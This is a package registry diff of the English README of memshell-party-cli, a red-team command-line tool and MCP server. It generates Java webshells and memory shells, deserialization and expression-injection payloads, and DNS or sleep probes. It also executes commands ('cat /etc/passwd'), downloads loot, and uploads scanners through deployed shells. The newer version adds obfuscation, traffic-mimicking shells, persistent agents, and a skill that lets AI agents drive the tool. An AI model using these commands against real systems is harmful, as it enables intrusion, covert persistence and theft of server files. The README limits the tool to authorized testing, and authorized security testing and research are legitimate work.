memshell-party-cli 0.6.0 → 0.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.en.md CHANGED
@@ -1,425 +1,482 @@
1
- # memshell-party-cli
2
-
3
- English | [中文](README.md)
4
-
5
- Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
6
- memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
7
- same HTTP API that powers `party.mem.mk/ui`.
8
-
9
- > ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
10
- > for how you use it.
11
-
12
- ## Features
13
-
14
- - **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
15
- from live, API-driven menus.
16
- - **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or
17
- scripts; with `--json` even errors come back as structured JSON (`{"ok":false,"error":...}`).
18
- - **REPL** — bare `memparty` starts an interactive loop: many commands in one session,
19
- with auto-saved target names ready to reuse.
20
- - **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
21
- - **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
22
- - **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
23
- is alive and the credentials work (echo/handshake round-trip).
24
- - **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell
25
- and prints its output (real `execCommand` / `Cmd` payload round-trip).
26
- - **File transfer** — `memparty upload` / `memparty download` move files through Godzilla /
27
- Behinder shells, chunked with integrity checks (remote size for Godzilla, MD5 for Behinder).
28
- - **Named targets** — `memparty save` stores shells in projects (with remark + category),
29
- then `memparty exec web1/bh9060 --cmd "whoami"` needs no flags at all.
30
- - **Operation log** — every gen/probe/connect/exec/download/upload/save/note/remove operation is appended to
31
- `~/.memparty/operations.jsonl`; `memparty log` queries it by category and target.
32
- - **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
33
- - **Any backend** — defaults to the public site, override to your self-hosted instance.
34
-
35
- ## Install
36
-
37
- ```bash
38
- npm install -g memshell-party-cli
39
- # or run without installing:
40
- npx memshell-party-cli gen
41
- ```
42
-
43
- Requires Node.js >= 18.
44
-
45
- ## Choosing the backend
46
-
47
- By priority: `--api` flag → `MEMPARTY_API_URL` env var → `~/.mempartyrc` (`{"apiUrl": "..."}`) →
48
- default `https://party.mem.mk`.
49
-
50
- Self-hosting is recommended (see the MemShellParty README for the Docker one-liner):
51
-
52
- ```bash
53
- memparty --api http://127.0.0.1:8080 gen
54
- # or
55
- export MEMPARTY_API_URL=http://127.0.0.1:8080
56
- ```
57
-
58
- ## Usage
59
-
60
- ### Interactive
61
-
62
- Bare `memparty` starts a REPL: run any subcommand repeatedly in one process — combined with
63
- auto-saved named targets, a whole gen → verify → exec session fits in one go:
64
-
65
- ```text
66
- memparty> connect -u http://192.0.2.10/shell.jsp -t behinder --header-value my-secret-token
67
- saved as '192.0.2.10/behinder'
68
- memparty> exec 192.0.2.10/behinder --cmd whoami
69
- memparty> list
70
- memparty> exit
71
- ```
72
-
73
- Passing arguments behaves exactly as before (piped/CI bare `memparty` still prints help).
74
- Inside the REPL: `help` lists commands, `<command> --help` shows examples, `exit`/`quit` leaves.
75
- The `gen` / `probe` wizards work inside the REPL too:
76
-
77
- ```bash
78
- memparty gen # wizard for a memory shell (outside the REPL)
79
- memparty probe # wizard for a probe shell
80
- ```
81
-
82
- The wizard launches automatically when required flags are missing and you're in a terminal.
83
- Force it anytime with `-i`, or disable it with `--no-interactive`.
84
-
85
- ### Scripted generation
86
-
87
- ```bash
88
- # Godzilla listener for Tomcat, single Base64 payload to stdout
89
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
90
- --godzilla-pass pass --godzilla-key key --jdk java8
91
-
92
- # Write a decoded .class file (base64 decoding is automatic for .class/.jar)
93
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
94
- --godzilla-pass pass --godzilla-key key -o shell.class
95
-
96
- # Command shell with an explicit encryptor
97
- memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
98
- --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
99
-
100
- # Full JSON response (metadata + payload) for further processing
101
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
102
- ```
103
-
104
- `--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`).
105
-
106
- Note: some packers (e.g. `Base64`) are *aggregate* packers and return several variants at once;
107
- pick a leaf packer (e.g. `DefaultBase64`, `GzipBase64`) for a single payload.
108
-
109
- ### Discovering options
110
-
111
- ```bash
112
- memparty config servers # servers and their shell types
113
- memparty config tools Tomcat # tools + types for one server
114
- memparty config packers # packer parent/child tree
115
- memparty config command # Command encryptors & implementation classes
116
- memparty config servers --json # machine-readable
117
- ```
118
-
119
- ### Probe shells
120
-
121
- ```bash
122
- memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
123
- memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
124
- ```
125
-
126
- Probe method × content matrix (only these combos are supported by the backend):
127
-
128
- | Method `-m` | Supported content `-c` |
129
- |-------------|-------------------------|
130
- | `DNSLog` | `Server`, `JDK` |
131
- | `Sleep` | `Server` |
132
- | `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
133
-
134
- ### Testing a deployed shell
135
-
136
- `memparty connect` checks whether a shell that is already injected/uploaded actually answers —
137
- it performs the real protocol handshake (Behinder echo, Godzilla payload + `test()` call, suo5
138
- tunnel handshake) and exits 0 on success, 1 on failure.
139
-
140
- ```bash
141
- # Godzilla (defaults: --pass pass --key key)
142
- memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
143
-
144
- # Behinder (default: --pass rebeyond)
145
- memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
146
-
147
- # suo5 (auto-detects the v2 handshake vs the legacy v1 echo; force with --suo5-mode v2|v1)
148
- memparty connect -u http://target/suo5.jsp -t suo5
149
- ```
150
-
151
- Shells generated by MemShellParty are gated by an auth header — the values are in the
152
- `gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
153
- (the Suo5v2 shell checks it too):
154
-
155
- ```bash
156
- memparty connect -u http://target/x -t godzilla --pass pass --key key \
157
- --header-name User-Agent --header-value my-secret-token
158
- ```
159
-
160
- Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
161
- `--json` for machine-readable output, `--timeout <ms>` (global option).
162
-
163
- ### Executing commands on a deployed shell
164
-
165
- `memparty exec` runs a command line through a deployed Godzilla / Behinder shell and prints the
166
- remote stdout+stderr. It uses the tool's real protocol — Godzilla's `execCommand` payload method
167
- (argv passed as `arg-0..N`, wrapped in `cmd.exe /c` or `/bin/sh -c`) and Behinder's `Cmd` payload
168
- class (which picks the shell itself based on the remote `os.name`).
169
-
170
- ```bash
171
- # Godzilla — auto-detects the remote OS via getBasicsInfo (one extra request);
172
- # pass --os windows|linux to skip the detection
173
- memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
174
-
175
- # Behinder — the payload detects the OS itself, no extra request
176
- memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
177
- ```
178
-
179
- The gate-header flags are the same as for `connect`; `--json` returns
180
- `{ ok, tool, url, command, output, durationMs }` for automation.
181
-
182
- ### File upload / download
183
-
184
- `memparty upload` / `memparty download` transfer files through a deployed Godzilla / Behinder
185
- shell, using the tool's real protocol (Godzilla's `uploadFile`/`bigFileUpload`/`bigFileDownload`
186
- payload methods; Behinder's `FileOperation` payload class via create+append / downloadPart).
187
- Large files are chunked automatically. Integrity is verified after transfer — the remote size
188
- for Godzilla, the remote MD5 for Behinder — a failed check is an error, not a silent bad file.
189
-
190
- ```bash
191
- # download: defaults to ./<remote basename>; -o sets the destination
192
- # (an existing directory keeps the remote basename)
193
- memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \
194
- --header-value my-secret-token /etc/passwd -o loot/passwd
195
-
196
- # an existing local file is never overwritten unless --force is given
197
- memparty download web1 /var/log/app.log --force
198
-
199
- # upload: overwrites the remote file (truncate + write), up to 64 MiB
200
- memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
201
- ```
202
-
203
- Failure semantics are explicit: missing remote file, bad credentials, or an exhausted chunk
204
- retry all exit 1 with a clear message; an aborted upload warns that the remote file may be
205
- partial. `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }`.
206
-
207
- Non-ASCII paths: always fine on Behinder (paths travel inside the class constant pool, so the
208
- platform charset is irrelevant). Godzilla's payload decodes path parameters with the server's
209
- platform default charset — UTF-8 on JDK 18+ and virtually all Linux, so nothing is needed; on an
210
- old JDK (8/11/17) on Chinese Windows the default is GBK — pass `--remote-charset GBK` (MCP:
211
- `remoteCharset`) for non-ASCII paths there. On Behinder, files over 128 MiB are verified by size
212
- instead of MD5 (the payload's check reads the whole file byte-by-byte). Limits: 2 GiB for
213
- Godzilla (a payload int restriction), 64 MiB for Behinder upload, 2 GiB for Behinder download.
214
-
215
- ### Saved targets (projects)
216
-
217
- Save a shell once, then reference it by name — no more flag soup. Shells live inside
218
- **projects**: a project groups several shells of one engagement and carries an optional
219
- `--remark` and `--category`. The store is `~/.memparty/targets.json`.
220
-
221
- ```bash
222
- # save (project is created on the fly; --remark/--category are project-level,
223
- # --shell-remark describes this one shell)
224
- memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \
225
- -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \
226
- --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
227
-
228
- # list everything (filter with --category <name>)
229
- memparty list
230
-
231
- # use: <project>/<shell>, or a bare project name when it holds exactly one shell
232
- memparty connect web1/bh9060
233
- memparty exec web1 --cmd "whoami"
234
-
235
- # edit project meta or a shell's remark / clean up
236
- memparty note web1 --remark "new remark" --category prod
237
- memparty note web1/bh9060 --remark "new shell note"
238
- memparty remove web1/bh9060 # one shell
239
- memparty remove web1 # the whole project
240
- ```
241
-
242
- Explicit flags still override stored values (`memparty exec web1 --cmd id --pass otherpass`).
243
-
244
- ### Operation log
245
-
246
- Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended as
247
- one JSON line to `~/.memparty/operations.jsonl` — target, outcome, duration, and for exec the
248
- command plus truncated output. Credentials, payload bytes, and file contents are never logged.
249
-
250
- ```bash
251
- memparty log # latest 50 operations, newest first
252
- memparty log --category exec # only command executions
253
- memparty log --target web1 # everything against one project (or a host substring)
254
- memparty log --category connect --json
255
- ```
256
-
257
- ## Demos
258
-
259
- End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
260
- match the target (add the `Jakarta` prefix for Tomcat 10+ / Spring Boot 3; use `Agent*` types with
261
- the `AgentJar*` packers). When in doubt, run `memparty config tools <server>` and
262
- `memparty config packers` first.
263
-
264
- ### 1. Godzilla webshell on Tomcat 9 (javax)
265
-
266
- ```bash
267
- # Listener-based Godzilla shell, single base64 payload to stdout
268
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
269
- --godzilla-pass pass --godzilla-key key --jdk java8
270
-
271
- # ...or write the decoded injector .class straight to disk
272
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
273
- --godzilla-pass pass --godzilla-key key -o shell.class
274
- ```
275
-
276
- ### 2. Same shell on Tomcat 10+ / Spring Boot 3 (Jakarta)
277
-
278
- ```bash
279
- memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
280
- --godzilla-pass pass --godzilla-key key --jdk java17
281
- ```
282
-
283
- ### 3. Pure command-execution shell (RCE)
284
-
285
- ```bash
286
- memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
287
- --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
288
- ```
289
-
290
- ### 4. Deserialization gadget chain (e.g. CommonsBeanutils ≤ 1.9.4)
291
-
292
- ```bash
293
- memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
294
- --godzilla-pass pass --godzilla-key key --jdk java8
295
- # other chains: JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
296
- ```
297
-
298
- ### 5. Expression-injection delivery (SpEL / OGNL / EL / Groovy …)
299
-
300
- ```bash
301
- # Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
302
- memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
303
- --command-param-name cmd --jdk java8
304
- # OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
305
- # (SpEL/OGNL/JXPath are *aggregate* packers — they return several variants at once)
306
- ```
307
-
308
- ### 6. Drop a JSP file
309
-
310
- ```bash
311
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
312
- --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
313
- ```
314
-
315
- ### 7. Java-agent memory shell (survives redeploys, hooks deep)
316
-
317
- ```bash
318
- memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
319
- --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
320
- ```
321
-
322
- ### 8. Fingerprint the target first (blind)
323
-
324
- ```bash
325
- # DNSLog: confirm code execution + exfil the server/JDK name via DNS
326
- memparty probe -m DNSLog -c Server -p DefaultBase64 --host <your>.dnslog.cn
327
- # Sleep: time-based blind — delays Ns only if the server matches your guess
328
- memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
329
- ```
330
-
331
- The server name a probe reports is exactly the `-s` value to pass to `memparty gen`.
332
-
333
- ### Parse a class name
334
-
335
- ```bash
336
- memparty parse-classname --file shell.class
337
- memparty parse-classname <base64-of-class-bytes>
338
- ```
339
-
340
- ### Version
341
-
342
- ```bash
343
- memparty version # CLI version + backend server version
344
- ```
345
-
346
- ## MCP server
347
-
348
- Run the CLI as an MCP server over stdio:
349
-
350
- ```bash
351
- memparty mcp --api http://127.0.0.1:8080
352
- ```
353
-
354
- Example Claude Code / Claude Desktop config:
355
-
356
- ```json
357
- {
358
- "mcpServers": {
359
- "memshell-party": {
360
- "command": "npx",
361
- "args": ["-y", "memshell-party-cli", "mcp"],
362
- "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
363
- }
364
- }
365
- }
366
- ```
367
-
368
- Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
369
- `generate_memshell`, `generate_probe`, `parse_classname`, `server_version`, `connect_test`,
370
- `exec_command`, `download_file`, `upload_file`, `target_save`, `target_note`, `target_list`,
371
- `target_remove`, `log_list`.
372
-
373
- ## AI skill (Claude Code)
374
-
375
- The package ships a [Claude Code skill](https://docs.claude.com/en/docs/claude-code/skills) at
376
- `skills/memshell-party/SKILL.md` that teaches an AI agent how to drive MemShellParty — the
377
- server/tool/type/packer decision tree, the probe method×content matrix, packer-by-scenario
378
- guidance, and the common gotchas (Jakarta vs javax, JDK targeting, aggregate vs leaf packers).
379
-
380
- Install it into a project (or drop it in `~/.claude/skills/` for global use):
381
-
382
- ```bash
383
- # from the package root, or after `npm install memshell-party-cli`:
384
- mkdir -p .claude/skills
385
- cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
386
- ```
387
-
388
- Then just ask in natural language, e.g. *"generate a Godzilla listener for Tomcat 10"* or
389
- *"give me a CommonsBeanutils deserialization payload for a Spring Boot 2 app"* — the skill guides
390
- the agent to enumerate options first and pick the right packer for the vector.
391
-
392
- ## Programmatic use
393
-
394
- The package also ships a typed API client:
395
-
396
- ```ts
397
- import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
398
-
399
- const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
400
- const res = await client.generateMemShell(
401
- buildMemShellRequest({
402
- server: "Tomcat",
403
- shellTool: "Godzilla",
404
- shellType: "Listener",
405
- packer: "DefaultBase64",
406
- godzillaPass: "pass",
407
- godzillaKey: "key",
408
- jdk: "java8",
409
- }),
410
- );
411
- console.log(res.memShellResult.shellClassName, res.packResult);
412
- ```
413
-
414
- ## Development
415
-
416
- ```bash
417
- npm install
418
- npm run build # tsup -> dist/
419
- npm test # vitest
420
- npm run typecheck # tsc --noEmit
421
- ```
422
-
423
- ## License
424
-
425
- MIT
1
+ # memshell-party-cli
2
+
3
+ English | [中文](README.md)
4
+
5
+ Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
6
+ memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
7
+ same HTTP API that powers `party.mem.mk/ui`.
8
+
9
+ > ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
10
+ > for how you use it.
11
+
12
+ ## Features
13
+
14
+ - **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
15
+ from live, API-driven menus.
16
+ - **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or
17
+ scripts; with `--json` even errors come back as structured JSON (`{"ok":false,"error":...}`).
18
+ - **REPL** — bare `memparty` starts an interactive loop: many commands in one session,
19
+ with auto-saved target names ready to reuse.
20
+ - **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
21
+ - **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
22
+ - **Bytecode tools** — decode, rename, relocate, instrument, obfuscate and pack arbitrary `.class` files.
23
+ - **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
24
+ is alive and the credentials work (echo/handshake round-trip).
25
+ - **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell
26
+ and prints its output (real `execCommand` / `Cmd` payload round-trip).
27
+ - **File transfer** — `memparty upload` / `memparty download` move files through Godzilla /
28
+ Behinder shells, chunked with integrity checks (remote size for Godzilla, MD5 for Behinder).
29
+ - **Named targets** — `memparty save` stores shells in projects (with remark + category),
30
+ then `memparty exec web1/bh9060 --cmd "whoami"` needs no flags at all.
31
+ - **Operation log** — every gen/probe/connect/exec/download/upload/save/note/remove operation is appended to
32
+ `~/.memparty/operations.jsonl`; `memparty log` queries it by category and target.
33
+ - **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
34
+ - **Any backend** — defaults to the public site, override to your self-hosted instance.
35
+ - **Site-mimicking (mimic)** — hand-write a site profile, build a custom shell that blends into real business traffic (`profile` / `custom build` / `demo`), and install the agent skill with `memparty skill install`.
36
+
37
+ ## Install
38
+
39
+ ```bash
40
+ npm install -g memshell-party-cli
41
+ # or run without installing:
42
+ npx memshell-party-cli gen
43
+ ```
44
+
45
+ Requires Node.js >= 18.
46
+
47
+ ## Choosing the backend
48
+
49
+ By priority: `--api` flag → `MEMPARTY_API_URL` env var → `~/.mempartyrc` (`{"apiUrl": "..."}`) →
50
+ default `https://party.mem.mk`.
51
+
52
+ Self-hosting is recommended (see the MemShellParty README for the Docker one-liner):
53
+
54
+ ```bash
55
+ memparty --api http://127.0.0.1:8080 gen
56
+ # or
57
+ export MEMPARTY_API_URL=http://127.0.0.1:8080
58
+ ```
59
+
60
+ ## Usage
61
+
62
+ ### Interactive
63
+
64
+ Bare `memparty` starts a REPL: run any subcommand repeatedly in one process — combined with
65
+ auto-saved named targets, a whole gen → verify → exec session fits in one go:
66
+
67
+ ```text
68
+ memparty> connect -u http://192.0.2.10/shell.jsp -t behinder --header-value my-secret-token
69
+ saved as '192.0.2.10/behinder'
70
+ memparty> exec 192.0.2.10/behinder --cmd whoami
71
+ memparty> list
72
+ memparty> exit
73
+ ```
74
+
75
+ Passing arguments behaves exactly as before (piped/CI bare `memparty` still prints help).
76
+ Inside the REPL: `help` lists commands, `<command> --help` shows examples, `exit`/`quit` leaves.
77
+ The `gen` / `probe` wizards work inside the REPL too:
78
+
79
+ ```bash
80
+ memparty gen # wizard for a memory shell (outside the REPL)
81
+ memparty probe # wizard for a probe shell
82
+ ```
83
+
84
+ The wizard launches automatically when required flags are missing and you're in a terminal.
85
+ Force it anytime with `-i`, or disable it with `--no-interactive`.
86
+
87
+ ### Scripted generation
88
+
89
+ ```bash
90
+ # Godzilla listener for Tomcat, single Base64 payload to stdout
91
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
92
+ --godzilla-pass pass --godzilla-key key --jdk java8
93
+
94
+ # Write a decoded .class file (base64 decoding is automatic for .class/.jar)
95
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
96
+ --godzilla-pass pass --godzilla-key key -o shell.class
97
+
98
+ # Command shell with an explicit encryptor
99
+ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
100
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
101
+
102
+ # Full JSON response (metadata + payload) for further processing
103
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
104
+
105
+ # Both at once: file written AND full JSON (gains an outputFile field)
106
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
107
+ --godzilla-pass pass --godzilla-key key -o shell.class --json
108
+ ```
109
+
110
+ `--jdk` accepts `java6/8/9/11/17/21/25`, a bare number (`8`), or a raw class-file major version (`52`).
111
+
112
+ On v3, parent packers (e.g. `Base64`) are categories, not aggregate generators: pick a concrete
113
+ variant such as `DefaultBase64`. Legacy v2 aggregate results are still supported, but `-o` refuses
114
+ multiple variants. Combining `-o` with `--json` writes the file and adds
115
+ `outputFile: {destination, size, decoded}` to the JSON document. v3 also supports `--obfuscate`,
116
+ `--obfuscation-options key=value,...`, and `--obfuscation-scope` (memshell only).
117
+
118
+ ### Discovering options
119
+
120
+ ```bash
121
+ memparty config servers # servers and their shell types
122
+ memparty config tools Tomcat # tools + types for one server
123
+ memparty config packers # packer parent/child tree
124
+ memparty config command # Command encryptors & implementation classes
125
+ memparty config tool-configs # v3 tool parameters and enum options
126
+ memparty config obfuscation # v3 obfuscation option reference
127
+ memparty config servers --json # machine-readable
128
+ ```
129
+
130
+ ### Probe shells
131
+
132
+ ```bash
133
+ memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
134
+ memparty probe -m ResponseHeader -c Server -p DefaultBase64 --server Unknown
135
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
136
+ ```
137
+
138
+ Probe method × content matrix (only these combos are supported by the backend):
139
+
140
+ | Method `-m` | Supported content `-c` |
141
+ |-------------|-------------------------|
142
+ | `DNSLog` | `Server`, `JDK` |
143
+ | `Sleep` | `Server` |
144
+ | `ResponseBody`, `ResponseHeader` | `Server`, `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
145
+
146
+ `ResponseHeader` is v3+. Use `--resp-header-name` to set the response header; `--server Unknown`
147
+ discovers the middleware and requires `--req-param-name` to identify the live request.
148
+
149
+ ### Testing a deployed shell
150
+
151
+ `memparty connect` checks whether a shell that is already injected/uploaded actually answers —
152
+ it performs the real protocol handshake (Behinder echo, Godzilla payload + `test()` call, suo5
153
+ tunnel handshake) and exits 0 on success, 1 on failure.
154
+
155
+ ```bash
156
+ # Godzilla (defaults: --pass pass --key key)
157
+ memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
158
+
159
+ # Behinder (default: --pass rebeyond)
160
+ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
161
+
162
+ # suo5 (auto-detects the v2 handshake vs the legacy v1 echo; force with --suo5-mode v2|v1)
163
+ memparty connect -u http://target/suo5.jsp -t suo5
164
+ ```
165
+
166
+ Shells generated by MemShellParty are gated by an auth header — the values are in the
167
+ `gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
168
+ (the Suo5 shell checks it too):
169
+
170
+ ```bash
171
+ memparty connect -u http://target/x -t godzilla --pass pass --key key \
172
+ --header-name User-Agent --header-value my-secret-token
173
+ ```
174
+
175
+ Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
176
+ `--json` for machine-readable output, `--timeout <ms>` (global option).
177
+
178
+ Use `ws://` / `wss://` for Godzilla WebSocket and RawWebSocket shells. Tomcat Upgrade keeps an
179
+ HTTP URL and requires `--upgrade-protocol <fully-qualified-shell-class-name>`; it is saved with
180
+ named targets. Generate `GodzillaSession` with its own tool name, then connect with `-t godzilla`;
181
+ the client relays the HTTP session cookie.
182
+
183
+ ### Agent arguments and bytecode tools
184
+
185
+ `--agent-args persist=true` and `--agent-args restore=true` are load-time Agent arguments, not
186
+ generation DTO fields. The CLI and MCP return both `java -jar agent.jar <pid> persist=true` and
187
+ `jattach <pid> load instrument false agent.jar=persist=true` examples; use `restore=true` to restore.
188
+
189
+ ```bash
190
+ memparty bytecode decode -f Payload.class
191
+ memparty bytecode transform -f Payload.class \
192
+ --relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class
193
+ memparty bytecode transform -f Payload.class --server Tomcat \
194
+ --probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json
195
+ ```
196
+
197
+ Input can also be a Base64 argument or stdin. With no packer, `-o` writes the transformed class;
198
+ otherwise it writes the packed result. The MCP equivalents are `bytecode_decode` and `bytecode_transform`.
199
+
200
+ ### Executing commands on a deployed shell
201
+
202
+ `memparty exec` runs a command line through a deployed Godzilla / Behinder shell and prints the
203
+ remote stdout+stderr. It uses the tool's real protocol — Godzilla's `execCommand` payload method
204
+ (argv passed as `arg-0..N`, wrapped in `cmd.exe /c` or `/bin/sh -c`) and Behinder's `Cmd` payload
205
+ class (which picks the shell itself based on the remote `os.name`).
206
+
207
+ ```bash
208
+ # Godzilla — auto-detects the remote OS via getBasicsInfo (one extra request);
209
+ # pass --os windows|linux to skip the detection
210
+ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
211
+
212
+ # Behinder — the payload detects the OS itself, no extra request
213
+ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
214
+ ```
215
+
216
+ The gate-header flags are the same as for `connect`; `--json` returns
217
+ `{ ok, tool, url, command, output, durationMs }` for automation.
218
+
219
+ ### File upload / download
220
+
221
+ `memparty upload` / `memparty download` transfer files through a deployed Godzilla / Behinder
222
+ shell, using the tool's real protocol (Godzilla's `uploadFile`/`bigFileUpload`/`bigFileDownload`
223
+ payload methods; Behinder's `FileOperation` payload class via create+append / downloadPart).
224
+ Large files are chunked automatically. Integrity is verified after transfer — the remote size
225
+ for Godzilla, the remote MD5 for Behinder — a failed check is an error, not a silent bad file.
226
+
227
+ ```bash
228
+ # download: defaults to ./<remote basename>; -o sets the destination
229
+ # (an existing directory keeps the remote basename)
230
+ memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \
231
+ --header-value my-secret-token /etc/passwd -o loot/passwd
232
+
233
+ # an existing local file is never overwritten unless --force is given
234
+ memparty download web1 /var/log/app.log --force
235
+
236
+ # upload: overwrites the remote file (truncate + write), up to 64 MiB
237
+ memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
238
+ ```
239
+
240
+ Failure semantics are explicit: missing remote file, bad credentials, or an exhausted chunk
241
+ retry all exit 1 with a clear message; an aborted upload warns that the remote file may be
242
+ partial. `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }`.
243
+
244
+ Non-ASCII paths: always fine on Behinder (paths travel inside the class constant pool, so the
245
+ platform charset is irrelevant). Godzilla's payload decodes path parameters with the server's
246
+ platform default charset — UTF-8 on JDK 18+ and virtually all Linux, so nothing is needed; on an
247
+ old JDK (8/11/17) on Chinese Windows the default is GBK — pass `--remote-charset GBK` (MCP:
248
+ `remoteCharset`) for non-ASCII paths there. On Behinder, files over 128 MiB are verified by size
249
+ instead of MD5 (the payload's check reads the whole file byte-by-byte). Limits: 2 GiB for
250
+ Godzilla (a payload int restriction), 64 MiB for Behinder upload, 2 GiB for Behinder download.
251
+
252
+ ### Saved targets (projects)
253
+
254
+ Save a shell once, then reference it by name — no more flag soup. Shells live inside
255
+ **projects**: a project groups several shells of one engagement and carries an optional
256
+ `--remark` and `--category`. The store is `~/.memparty/targets.json`.
257
+
258
+ ```bash
259
+ # save (project is created on the fly; --remark/--category are project-level,
260
+ # --shell-remark describes this one shell)
261
+ memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \
262
+ -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \
263
+ --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
264
+
265
+ # list everything (filter with --category <name>)
266
+ memparty list
267
+
268
+ # use: <project>/<shell>, or a bare project name when it holds exactly one shell
269
+ memparty connect web1/bh9060
270
+ memparty exec web1 --cmd "whoami"
271
+
272
+ # edit project meta or a shell's remark / clean up
273
+ memparty note web1 --remark "new remark" --category prod
274
+ memparty note web1/bh9060 --remark "new shell note"
275
+ memparty remove web1/bh9060 # one shell
276
+ memparty remove web1 # the whole project
277
+ ```
278
+
279
+ Explicit flags still override stored values (`memparty exec web1 --cmd id --pass otherpass`).
280
+
281
+ ### Operation log
282
+
283
+ Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended as
284
+ one JSON line to `~/.memparty/operations.jsonl` — target, outcome, duration, and for exec the
285
+ command plus truncated output. Credentials, payload bytes, and file contents are never logged.
286
+
287
+ ```bash
288
+ memparty log # latest 50 operations, newest first
289
+ memparty log --category exec # only command executions
290
+ memparty log --target web1 # everything against one project (or a host substring)
291
+ memparty log --category connect --json
292
+ ```
293
+
294
+ ## Demos
295
+
296
+ End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
297
